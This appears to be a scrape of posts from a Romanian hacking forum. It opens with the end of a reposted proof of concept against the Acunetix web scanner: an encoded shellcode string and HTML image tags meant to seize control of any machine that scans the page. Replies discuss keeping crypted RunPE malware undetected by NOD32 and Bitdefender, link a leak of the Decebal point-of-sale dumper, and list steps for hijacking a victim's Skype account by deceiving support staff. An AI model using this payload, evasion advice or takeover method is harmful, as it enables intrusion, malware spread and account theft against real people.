AAAAAAAAA500fBBBB]Qy~TYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2B B 0BBXP8ACJJIHZXL9ID414ZTOKHI9LMUKVPZ6QO9X1P26QPZTW5 S1JR7LCTKN8BGR3RWS9 JNYLK79ZZ165U2KKLC5RZGNNUC70NEPB9OUTQMXPNMMPV261UK L71ME2NMP7FQY0NOHKP KZUDOZULDS8PQ02ZXM3TCZK47PQODJ8O52JNU0N72N28MZKLTN GU7ZUXDDXZSOMKL4SQK UNKMJPOOCRODCMDKR0PGQD0EYIRVMHUZJDOGTUV2WP3OIVQ1QJ SLSKGBLYKOY7NWWLNG6 LBOM5V6M0KF2NQDPMSL7XT80P61PBMTXYQDK5DMLYT231V649D ZTPP26LWSQRLZLQK15X UXYUNP1BPF4X6PZIVOTZPJJRUOCC3KD9L034LDOXX5KKXNJQMO LSJ6BCORL9WXQNKPUWN KRKJ8JSNS4YMMOHT3ZQJOHQ4QJUQLN1VSLV5S1QYO0YA”> <img src="http://XSS............................................... .. .................................................. ................... .................................................. ................... ..."> <img src="http://CSRF.............................................. .. .................................................. ................... .................................................. ................... ...."> <img src="http://DeepScan.......................................... .. .................................................. ................... .................................................. ................... ........"> <img src="http://NetworkScan....................................... .. .................................................. ................... .................................................. ................... ..........."> <img src="http://DenialOfService................................... .. .................................................. ................... .................................................. ................... ..............."> </html> In conclusion, Following all the above, we created a powerful exploit that Newbie hackers will definitely fall for. This exploit will give us the ability to do everything with all that nasty Newbie hackers that scan our sites day and night, killing our traffic, filling all the web site forms with junk and so on… Furthermore it can be used in order to collect smart intelligence about hostile forces who want to attack our web application. BUT!! The more powerful idea that motivated me to reveal this concept and POC, is the fact that this exploit is Anonymity killer! , because even if the attacker uses the most smart and secure proxy in the world, such as "TOR" and others, his ass will be revealed and full control on his scanning machine will be gained. Thanks all for reading my post, hope you enjoy it, Happy hunting, An7i P.S. Here is a fully functional exploit video and Perl script that generates custom exploit: Sursa: An7i Security: Pwn the n00bs - Acunetix 0day

Nu este 0day, e un vechi exploit care merge doar pe versiunea 4.20. Indianu ala se da mare aiurea ..

Nod ul si multi alti antivirusi trimit fisierul cu pricina cand de exemplu se detecteaza metode de injectie a fisierului(runpe in cazul tau) Daca fisier ul cryptat ajunge pe un pc cu nod32 acesta va fi detectat dupa 3-12 ore, atata timp cat folosesti runpe. Bitdefender e cel mai terminat, daca fisier ul creaza document/fisier in %temp% sau %appdata% atunci este trimis automat la analiza si primeste o detectie random daca fisier ul nu are 'digital signature' Pune ollydbg in actiune si vezi ce se intampla Si, cei de la scan4you chiar nu au facut magarii de genu' vreodata, dar tu n-ai cum altfel sa-ti explici detectiile Site urile de scan folosesc varianta command-line a antivirusilor, fiecare antivirus setat/instalat pe un vmware/rdp cu setari limitate la net.

"Nu sunt de incredere: Nodistribute, chk4me, scan4you, sau alte scannere publice." scan4you este primul si cel mai de incredere scanner "privat".

https://trojanforge.co/showthread.php/481-Decebal-v1-Pos-dumper "12-13-2013" "The Decebal POS malware was first released on January 3, 2014" Se dau si ei interesanti, decebal este open-source iar ei o da ca la ploiesti ..

E cam fake, uite aici leak ul.

1. Faci 5 conturi, adaugi victima pe fiecare dintre ele. 2. "Te duci" la skype support si le zici ca ti-ai uitat parola la cont si la mail ul atasat contului skype. 3. Dansi o sa-ti ceara 5 conturi din lista ta pentru a le arata ca tu esti detinatorul contului (cica) 4. Tot ei o sa-ti dea parola noua si o sa-ti seteze un nou mail. Sa moara fetilii Aceaiasi faza ca aci'.